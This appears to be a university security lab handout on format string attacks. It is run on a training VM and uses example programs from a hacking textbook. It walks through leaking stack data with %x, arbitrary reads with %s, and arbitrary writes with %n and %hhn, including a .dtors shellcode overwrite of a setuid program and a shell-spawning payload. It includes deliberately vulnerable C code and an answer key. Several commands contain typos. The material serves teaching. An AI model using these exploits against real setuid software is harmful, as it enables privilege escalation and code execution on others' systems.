SEC204 Format String Attack

We will again be using the hacking VM (CompArchitecture) Linux & the programmes for this will be found in the directory *booksrc*.

Format string exploits can also be used to gain control of a program

Format parameters

What happens if you provided the wrong number of parameters?

1. Take a look at the code for fmt_uncommon2.c

```
$ gcc fmt_uncommon2.c
$ ./a.out
```

Why is the third output - b7fd6ff4?

Format String Vulnerability

2. Take a look at the code & then run fmt_vuln.c

```
$ gcc –o fmt_vuln fmt_vuln.c
$ sudo chown root:root ./fmt_vuln || sudo chmod u+s ./fmt_vuln
$ ./fmt_vuln testing
$ ./fmt_vuln testing%x
$ ./fmt_vuln $(perl –e 'print "%08x."x40')
```

The format character % is interpreted & the output is an address on the stack.

Reading from Arbitrary Addresses

3. The %s format could be used to read from arbitrary memory addresses.

Part of the original format string can be used to supply an address to the %s format parameter

```
$ ./fmt_vuln AAAA%08x.%08x.%08x.%08x
```

AAAA indicates that the fourth format parameter is reading from the beginning of the format string.

What if the fourth format parameter is %s instead of %x?

It will attempt to print the string located at 0x41414141.

```
$ env | grep PATH
```

Compile getenvaddr.c, then run the following:

```
$ ./getenvaddr PATH ./fmt_vuln
```

PATH result should be at 0xbffffdd7.

What should you do next? What is the following doing? What happens if you add another .%08x in the middle?

```
$ ./fmt_vuln $(printf “\xd7\xfd\xff\xbf”)%08x.%08x.%08x.%s
```

Writing to Arbitrary Memory Addresses

4. The %s format could be used to read from arbitrary memory addresses. We can also write to an arbitrary address with the %n parameter. This formatting character allows you to save the total bytes formatted into a variable.

Lets overwrite the test_val variable

```
$ ./fmt_vuln $(printf “\x94\x97\x04\x08”)%08x.%08x.%08x.%n
$ ./fmt_vuln $(printf “\x94\x97\x04\x08”)%x%x%x%n
$ ./fmt_vuln $(printf “\x94\x97\x04\x08”)%x%x%100x%n
$ ./fmt_vuln $(printf “\x94\x97\x04\x08”)%x%x%180x%n
$ ./fmt_vuln $(printf “\x94\x97\x04\x08”)%x%x%400x%n
```

The resulting value depends on the number of bytes written before the %n. For example, to write AA onto test_val:

```
$ ./fmt_vuln $(printf “\x94\x97\x04\x08”)%x%x%8x%n
$ ./fmt_vuln $(printf “\x94\x97\x04\x08”)%x%x%150x%n
```

Direct Parameter Access

5. The previous examples required sequential attempts to pass format parameter arguments. To simplify format string exploits, we can use direct parameter access.

This allows parameters to be accessed directly using the dollar sign qualifier (e.g. ‘%n$d’ will access the nth parameter and display it as a decimal number)

```
printf(“7th: %7$d, 4th: %4$05d\n”, 10, 20, 30, 40, 50, 60, 70, 80);
```

will print:

```
7th: 70, 4th: 00040
```

```
$ ./fmt_vuln AAAA%4\$x

$ ./fmt_vuln $(perl –e ‘print “\x94\x97\x04\x08” . “\x95\x97\x04\x08”
    . “\x96\x97\x04\x08” . “\x97\x97\x04\x08”’)%4\$n

$ ./fmt_vuln $(perl –e ‘print “\x94\x97\x04\x08” . “\x95\x97\x04\x08”
    . “\x96\x97\x04\x08” .
    “\x97\x97\x04\x08”’)%98x%4\$n%139x%5\$n

$ ./fmt_vuln $(perl –e ‘print “\x94\x97\x04\x08” . “\x95\x97\x04\x08”
    . “\x96\x97\x04\x08” .
    “\x97\x97\x04\x08”’)%98x%4\$n%139x%5\$n%258x%6\$n%19
    2x%7\$n
```

dtors

Binary programs compiled with the GNU compiler use .dtors & .ctors table sections for destructors and constructors respectively. The constructor functions are executed before the main() & destructor functions are executed just before the main() exits with an exit system call. We can declare a function as a destructor by defining the destructor attribute.

6. Run the dtors_sample.c

```
$ ./gcc –o dtors_sample dtors_sample.c
$ ./dtors_sample
$ nm ./dtors_sample
$ objdump –s –j .dtors ./dtors_sample
$ objdump –h ./dtors_sample
```

Format String Vulnerability at Notesearch

7. Let’s return to the notesearch program, used last week, which also contains a format string vulnerability. Look at the code - Can you spot it?

```
$ ./notetaker AAAA$(perl –e ‘print “%x. “x10’)
$ ./notesearch AAAA
$ ./notetaker BBBB%8\$x
$ ./notesearch BBBB
$ export SHELLCODE=$(cat shellcode.bin)
$ ./getenvaddr SHELLCODE ./notesearch
$ nm ./notesearch | grep DTOR
$ ./notetaker $(printf “\x62\x9c\x04\x08\x60\x9c\x04\x08”)%49143x%8\$hn%14825x%9\$hn
$ ./notesearch 49143x
```

Bringing together the last two practicals

8. Create the following programme & save it as fmt_overflow.c

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void good()
{
        printf("good\n");
}
void bad()
{
        printf("bad\n");
}

void vuln(char * str)
{
        char outbuf[512];
        char buffer[512];

        sprintf (buffer, "ERR Wrong command: %.400s", str);
        sprintf (outbuf, buffer); //<--- used as a silly copy

        printf("outbuf: %s\n", outbuf);
}

int main(int argc, char *argv[]){
        vuln(argv[1]);
}
```

Compile & then run the programme

```
$ ./fmt_overflow `python -c "print 'A'*1000"`
```

This did not overflow buffer or outbuff, nor did it cause a segmentation fault.

```
$ ./fmt_overflow "%550x"
```

This overflows outbuff, because buffer is treated as the format character & did cause a segmentation fault - The instruction pointer was overwritten with a bunch of 0x20 bytes, or spaces.

Can you work out how to overwrite the return address with the address of bad()?

Answer at end of practical

We can then use this to execute a shell

```
$ fmt_overflow "%505d$(printf '\x90\xf6\xff\xbf')$(printf $(./hexify.sh smallest_shell))"
```

Writing Memory with a Format Attack

9. If you were to format the right number of bytes (such as an address, like 0xbfff678) & then save how many bytes you formatted to the right place (e.g. the return address), you could hijack a program.

You can controlling where we write using ‘%n’. This format will write how many bytes have been formatted to the address passed as argument that matches the ‘%n’. You therefore need to align & format enough bytes.

Create the following programme & save it as vuln_fmt.c

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BUFFER_SIZE 1024

int main(int argc, char * argv[])
{
        char buf[BUFFER_SIZE];

        static int test_value = 0x00414141; //"AAA\0" as an int

        strncpy(buf, argv[1], BUFFER_SIZE);

        printf("Right: ");
        printf("%s", buf);//<------safe
        printf("\n\n");

        printf("Wrong: ");
        printf(buf);      //<------vulnerable
        printf("\n\n");

        printf("[*] test_value @ %p = %d 0x%08x\n", &test_value,
        test_value, test_value);

        exit(0);
}
```

Can you overwrite test_val?

To start, you need to determine how to align everything. To do this, seed your format string with something you can hunt for, like ‘BBBB’ & then look to see when the formats find that. You are essentially hunting up the stack trying to find the command line argument value that is the format string being passed in.

```
$ ./vuln_fmt BBBB
```

We can then add the format sequence ‘%#08x’ to the input. ‘#’ is a flag option, used to add prefix formatting. In the case of printing in hexadecimal it will add '0x' to the start of non-zero values. The next option is adding a number prior to the conversion argument, as in ‘%#08x’. This conversion will right adjust the format such that the entirety of the number takes up 8 hex digits. The leading 0 will cause the format to fill those blank spaces with 0's.

```
$ ./vuln_fmt BBBB.%#08x
```

Keep adding ‘.%#08x’ to the input until it changes (overwrites) test_value. Once you do this it means you now control one of the arguments to the format.

What then happens if you change the last format directive to a ‘%n’?

```
$ ./vuln_fmt BBBB.%#08x.%#08x.%n
```

If you get a segmentation fault, that means you can now exploit the program. The crash occurred when you dereferenced 0x42424242 & now control that address. This means you can put anything there, including a totally valid address.

To write a single byte, you can plug into the leading B's the address of test_value, which is 0x804a02c. We can use printf to do that:

```
$ ./vuln_fmt $(printf "\x2c\xa0\x04\x08").%#08x.%#08x.%#08x.%n
```

Unfortunately, this will overwrite the whole target value including the B's, due to writing a whole integer. What we really want to do is get it to write a single value, maybe just that null byte.

For that, use the format directive flag ‘h’, which specifies using half the format. For example, if you used ‘%hn’ then you are writing the number of formatted bytes to a 2-byte short value. If you use ‘%hhn’, then you are writing the number of formatted bytes to a 1-byte char value.

Run:

```
        $ ./vuln_fmt $(printf
"\x2c\xa0\x04\x08").%#08x.%#08x.%#08x.%hn
```

```
        $ ./vuln_fmt $(printf
"\x2c\xa0\x04\x08").%#08x.%#08x.%#08x.%hhn
```

Now you are able to write one byte, it needs to be aligned. It is 3 bytes off, but that is easy to fix by changing the address of where you are writing to:

```
        $ ,/vuln_fmt $(printf
"\x2f\xa0\x04\x08").%#08x.%#08x.%#08x.%hhn
```

You can now write a single byte, but how do you control what you write?

'%n' writes the number of bytes formatted so far, & you can control how many bytes are provided to the format, so just have to increase or decrease the total number of bytes.

This means, for every additional byte added before the '%n', the value of the byte written is increased by one. Experimenting with the input:

```
        $ ./vuln_fmt $(printf
"\x2f\xa0\x04\x08")A.%#08x.%#08x.%#08x.%hhn
```

```
        $ ./vuln_fmt $(printf
"\x2f\xa0\x04\x08")AA.%#08x.%#08x.%#08x.%hhn
```

```
        $ ./vuln_fmt $(printf
        "\x2f\xa0\x04\x08")AAAAAAAAAAAAAAAAAAAAAA.%#08x.%#0
        8x.%#08x.%hhn
```

Adding individual values to get the value needed takes effort. The format directive flags can be used to help this, by arbitrarily increasing the length of an output by padding 0's

```
        $ ./vuln_fmt $(printf
        "\x2f\xa0\x04\x08").%#08x.%#08x.%#08x.%hhn
```

```
        $ ./vuln_fmt $(printf
        "\x2f\xa0\x04\x08").%#08x.%#08x.%#016x.%hhn
```

```
        $ ./vuln_fmt $(printf
        "\x2f\xa0\x04\x08").%#08x.%#08x.%#022x.%hhn
```

```
        $ ./vuln_fmt $(printf
        "\x2f\xa0\x04\x08").%#08x.%#08x.%#0100x.%hhn
```

There is still one problem. The first value written to that byte was 0x22. What if you want to write a value less than 0x22? It would seem that you can only add to the format length, not decrease.

What happens when the format length is set such that it formats more than 256 bytes? Experiment with the following & take a look at the output:

```
    $ ./vuln_fmt $(printf "\x2f\xa0\x04\x08").%#08x.%#08x.%#0228x.%hhn
```

```
    $ ./vuln_fmt $(printf "\x2f\xa0\x04\x08").%#08x.%#08x.%#0229x.%hhn
```

```
    $ ./vuln_fmt $(printf "\x2f\xa0\x04\x08").%#08x.%#08x.%#0230x.%hhn
```

```
    $ ./vuln_fmt $(printf "\x2f\xa0\x04\x08").%#08x.%#08x.%#0231x.%hhn
```

As you increase 0xff, you wrap back around to 0x00 then 0x01, etc. Now you have full control on what you write & to where.

The final test is to write multiple bytes. The goal is to write ‘0xdeabeef’ over the target. The first thing to do is to write ‘0xbe’ to the byte you were messing with before.

You were actually writing ‘0x22’. To get to ‘0xbe’ that is an additional 156 bytes in the format.

```
    $ ./vuln_fmt $(printf "\x2f\xa0\x04\x08").%#08x.%#08x.%#0156x.%hhn
```

The result should be close, but still off by 8.

```
    $ ./vuln_fmt $(printf "\x2f\xa0\x04\x08").%#08x.%#08x.%#0164x.%hhn
```

You can now write the next byte. This is achieved by adding another ‘%hhn’ to the format string, & again, this format directive needs to have an address filled.

```
    $ ./fmt_vuln $(printf "\x2f\xa0\x04\x08")$(printf "\x2e\xa0\x04\x08")%#08x.%#08x.%#0164x.%hhn.%hhn
```

But, you have changed the format length. Now you have got to do the whole calculation again … but as usual, there is a better way.

Instead of doing these calculations, one at a time, take advantage of the format directives you've learned & try & be smart about things. First, get everything setup so that you have all your ‘%hhn’ formats to write to each of the bytes in the target variable.

```
$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08")$(printf
"\x2e\xa0\x04\x08")$(printf "\x2d\xa0\x04\x08")$(printf
"\x2c\xa0\x04\x08").%1\$08x.%4\$08x.%1\$08x.%\5\$08x.%1\$08
x.%\6\$08x.%1\$08x.%\7\$08x
```

If you look closely at the format, you will see it is doing argument indexing to shorten the format length. You now have a group of ‘%x’ referencing the address you want to write to, plus each has a leading ‘%x’ format so you can adjust the leading zeros to change how much you can change the byte you are writing to that address.

Now it is just a matter of changing the ‘%x’ that match the addresses you want to write to ‘%hhn’ & then manipulating the number of 0's in the output.

```
$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08")$(printf
"\x2e\xa0\x04\x08")$(printf "\x2d\xa0\x04\x08")$(printf
"\x2c\xa0\x04\x08").%1\$08x.%4\$hhn.%1\$08x.%\5\$hhn.%1\$08
x.%\6\$hhn.%1\$08x.%\7\$hhn
```

The output will start 0x1a. You now need to change this to start 0xde. That requires 196 additional bytes. The first %1$08x changes into %1$0204x (that is, you were printing up to 8 leading 0's, now you need 196 more to reach 204 leading zeros).

```
$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08")$(printf
"\x2e\xa0\x04\x08")$(printf "\x2d\xa0\x04\x08")$(printf
"\x2c\xa0\x04\x08").%1\$0204x.%4\$hhn.%1\$08x.%\5\$hhn.%1\$
08x.%\6\$hhn.%1\$08x.%\7\$hhn
```

Now, you need to change 0xe8 into 0xad. That will require overflowing & coming back around, which means you need 0xff-0xea+1 to re-zero then additional 0xad bytes to write, or 195 additional bytes. You started by formatting 0x8, that means you need to change the second %x to have 205 leading zeros.

```
$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08")$(printf
"\x2e\xa0\x04\x08")$(printf "\x2d\xa0\x04\x08")$(printf
"\x2c\xa0\x04\x08").%1\$0204x.%4\$hhn.%1\$0205x.%\5\$hhn.%1
\$08x.%\6\$hhn.%1\$08x.%\7\$hhn
```

Two things left to do. You have 0xb7, which needs to become 0xbe, an additional 7 bytes, so you need to change the next %x to use 15 leading zeros.

```
$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08")$(printf
"\x2e\xa0\x04\x08")$(printf "\x2d\xa0\x04\x08")$(printf
"\x2c\xa0\x04\x08").%1\$0204x.%4\$hhn.%1\$0205x.%\5\$hhn.%1
\$015x.%\6\$hhn.%1\$08x.%\7\$hhn
```

Finally, you have 0xc8, which needs to become 0xef. This requires 39 additional leading zeros. So the last %x needs to be changed to 47.

```
$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08")$(printf
"\x2e\xa0\x04\x08")$(printf "\x2d\xa0\x04\x08")$(printf
"\x2c\xa0\x04\x08").%1\$0204x.%4\$hhn.%1\$0205x.%\5\$hhn.%1
\$015x.%\6\$hhn.%1\$047x.%\7\$hhn
```

And that should give you….

If you wish to continue with this, overwriting the Return Address using a Format to exploit it. Take a look at these webpages from the US Naval Academy, section 6

https://www.usna.edu/Users/cs/aviv/classes/si485h/s17/units/06/unit.html

Answer to Q 8

```
$ ./fmt_overflow "%505d$(printf '\x81\x84\x04\x08')"
```

To get this, you need to find the right number of extended format to hit the return address. To do this, first experiment using 0xdeadbeef & check the dmesg output. This will eventually show that if a 505 byte length %d format is used, the next 4-bytes will be the return address.